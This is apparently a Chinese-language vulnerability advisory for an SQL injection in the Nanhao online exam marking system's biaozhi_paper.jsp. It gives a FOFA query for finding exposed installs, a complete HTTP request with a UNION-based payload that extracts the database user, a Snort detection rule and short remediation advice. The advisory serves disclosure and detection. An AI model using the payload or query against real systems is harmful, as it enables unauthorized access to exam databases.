南昊网上阅卷系统 paper.jsp 存在SQL注入漏洞¶

南昊网上阅卷系统 paper.jsp 存在SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本¶

南昊网上阅卷系统

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：app="南昊网上阅卷系统"

POC/EXP：

POST /exam/admin/chaxun/biaozhi_paper.jsp?paper_id=100004&&actionid=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Origin: http://222.133.63.102:88
Cookie: cod=3.9.27.31.39; csd=40; JSESSIONID=214FC4A812D9410E95FF53F4C4F625C4
Priority: u=4
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded

queid=')+UNION+ALL+SELECT+1,CONCAT(0x7e,user(),0x7e)#&teaid=&typeid=&Submit32=%CB%D1%CB%F7

snort规则：

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"Nanhao Exam System - Union-Based SQLi in biaozhi_paper.jsp";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/exam/admin/chaxun/biaozhi_paper.jsp"; http_uri;
    content:"queid="; http_client_body;
    pcre:"/queid=[^&]*'\)\+\s*UNION\s+ALL\s+SELECT/i";
    metadata:service http;
    metadata:affected_product "南昊网上阅卷系统";
    metadata:vulnerability_type "MySQL Union-Based SQL Injection";
    classtype:sql-injection;
    sid:1000326;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限

升级至安全版本。